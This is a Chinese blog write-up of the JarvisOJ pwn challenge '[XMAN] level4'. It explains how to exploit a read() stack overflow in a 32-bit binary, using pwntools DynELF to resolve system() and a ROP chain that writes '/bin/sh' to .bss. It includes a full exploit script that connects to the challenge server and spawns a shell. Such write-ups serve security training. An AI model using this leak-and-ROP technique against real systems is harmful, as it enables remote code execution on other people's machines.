XMAN level4 の Write-Up

Introduction

这是JarvisOJ的PWN题部分[XMAN]level4的Write-Up,题目思路上和level3一样,只不过在细节处理上有稍微的不一样。本题中由于不知道libc的版本,,所以需要pwntools的DynELF模块寻找函数的内存地址。

Step 1

程序运行图:

checksec:32位程序,仅开启DEP保护

Step 2

把程序丢到hopper中,发现vulnerable_function函数中的read函数存在溢出漏洞:

但是程序中既找不到system函数也找不到/bin/sh的字符串:

所以第一反应是和level3一样,leak出libc地址然后调用libc中的system函数。

但是有个问题是我们不知道libc库的版本,所以我们需要通过pwntools的DynELF来寻找system函数的地址。

DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄露函数的情况下,可以解析任意加载库的人铱符号地址。具体原理解析可以看FREEBUF上的Pwntools之DynELF原理探究一文。

这样我们的思路就很清楚了:

  • 通过vulerable_function()的read()栈溢出构造ROP创造任意地址内存泄露函数

  • 结合上一步的函数,利用DynELF获取libc中的system()函数的真实地址

  • 通过vulerable_function()的read()栈溢出构造ROP将‘/bin/sh\x00’通过read()写入bss段

  • 通过vulerable_function()的read()栈溢出构造ROP执行system(‘/bin/sh’)得到shell

Step 3

直接给出EXP脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
* # coding:utf-8
* from pwn import *
*
* sh = remote('pwn2.jarvisoj.com', 9880)
* elf = ELF('./level4')
*
* write_plt = elf.plt['write']
* vuln_addr = elf.symbols['vulnerable_function']
*
* # 定义leak()泄露任意函数地址
* def leak(addr):
* payload = 'a' * (0x88 + 0x4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(addr) + p32(4)
* sh.sendline(payload)
* leak_addr = sh.recv(4)
* return leak_addr
*
* # 获取sysetem()函数地址
* dynelf = DynELF(leak, elf = elf)
* sys_addr = dynelf.lookup('system', 'libc')
*
* print('system addr: ' + hex(sys_addr))
*
* read_plt = elf.plt['read']
* bss_addr = 0x804a024
*
* # 往内存中写入shellcode
* payload1 = 'a' * (0x88 + 0x4) + p32(read_plt) + p32(vuln_addr) + p32(0) + p32(bss_addr) + p32(8)
* sh.sendline(payload1)
* sh.send('/bin/sh\x00')
*
* # 执行system()函数get shell
* payload2 = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(bss_addr)
* sh.sendline(payload2)
*
* sh.interactive()
* sh.close()

脚本运行结果图:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/06/22/XMAN-level4/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog